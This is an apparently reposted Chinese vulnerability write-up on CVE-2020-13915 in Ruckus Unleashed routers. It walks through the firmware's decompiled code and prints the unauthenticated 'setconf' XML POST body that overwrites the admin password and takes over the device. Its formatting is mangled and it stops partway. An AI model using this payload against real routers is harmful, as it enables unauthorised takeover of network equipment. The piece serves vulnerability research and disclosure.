Ruckus公司面向全球移动运营商、宽带服务提供商和企业用户 , 销售、制造各种室内和室外型“智能Wi-Fi”产品 。本文是针对于今年Ruckus品牌路由器的两个漏洞进行分析复现 。
CVE-2020-13915 认证覆盖漏洞概述
ruckus unleased 设备在今年的5月份修复了一个认证覆盖漏洞 , 利用该漏洞可以通过未授权的方式将设备 Admin 用户的登录凭证进行覆盖 , 从而达到接管 Admin 用户的效果 。漏洞公告见参考链接一 。
固件下载https://support.ruckuswireless.com/software/2328-ruckus-unleashed-ap-200-8-10-3-243-ga-software-for-r610
漏洞分析使用 binwalk 将固件进行解压 , 漏洞发生在 /web/admin/_wla_conf.jsp
脚本文件中 , 查看脚本文件的内容 , 其中WithoutLoginAccessCheck
作为回调函数进行执行 , 函数的参数为session["cid"]
和'true'
。
-
<%
-
Delegate("WithoutLoginAccessCheck", session["cid"],'true');
-
Delegate("AjaxConf", session["cid"]);
-
%>
/bin/emfd
可执行文件中 , 在 ghidra 中搜索函数 , 找到WithoutLoginAccessCheck
函数 , 函数部分代码如下:-
...
-
if(!strcasecmp(ajax_action,"setconf"))
-
{
-
admin_child = xGetChild(v36,"admin");
-
if( admin_child !=0)
-
{
-
v37 = sub_60890(admin_child);
-
}
-
...
xGetChild
函数获取 admin 子标签 , 接着调用sub_60890
函数 。因此根据设备的数据包格式 , 这里需要构造的 post data 为:
-
<ajax-requestaction="setconf">
-
<admin/>
-
<ajax-request/>
sub_60890
函数 , 这里主要判断 admin 子标签的属性数量是否为 8 , 且这 8 个属性名是否为 v41 变量到 v49 的值 。-
...
-
v41 = admin_element;
-
v42 ="username";
-
v43 ="fallback-local";
-
v44 ="authsvr-id";
-
v45 ="auth-by";
-
v46 ="x-password";
-
v47 ="IS_PARTIAL";
-
v48 ="reset";
- 【Ruckus 路由器多个漏洞分析】
v49 ="auth-token";
-
attrnum = xGetAttrNum(a1);
-
...
-
if(attrnum !=8){
-
return-1;
-
}
-
v2 = xAttrExists(v41, v42);
-
if(!v2){
-
return-1;
-
}
-
...
- 此时的 post data:
-
<ajax-requestaction="setconf">
-
<adminusername='admin'x-password='xxxxxx'auth-token=''reset=trueIS_PARTIAL=''auth-by='local'authsvr-id='0'fallback-local='true'/>
-
<ajax-request/>
/admin/_wla_conf.jsp
脚本文件中 , 第三行中同样以回调的方式执行了AjaxConf
函数 , 该函数位于/usr/lib/libemf.so
动态链接库程序中 。同样在 ghidra 中找到函数的位置 , 部分代码如下:
-
int adapter_setConf(char*attr_comp,undefined4 xmlstr){
-
...
-
iVar3 = adapter_validateConf(xmlstr);
-
if(iVar3 ==0x0){
-
iVar4 = strcmp(attr_comp,"system");
-
if(iVar4 ==0x0){
-
...
-
}
-
}
推荐阅读
- 家用无线路由器如何设置?家用路由器设置的详细步骤?
- 手机里多个PDF合并成一个PDF的免费方法
- 自媒体矩阵怎么做?怎么运营多个自媒体?
- 更换速率更高的路由器后,家中辐射会不会增大?会不会影响健康?
- 多个相同excel批量处理?1个Excel文件种有多个工作表,需要合并为1个工作表?
- 如何远程维护路由器?
- 路由器怎么隐藏wifi,防蹭网
- 交换机和路由器的文件管理配置,可以修改设备flash文件
- 无线网络如何登录认证?
- 番外篇 路由器的详解与选购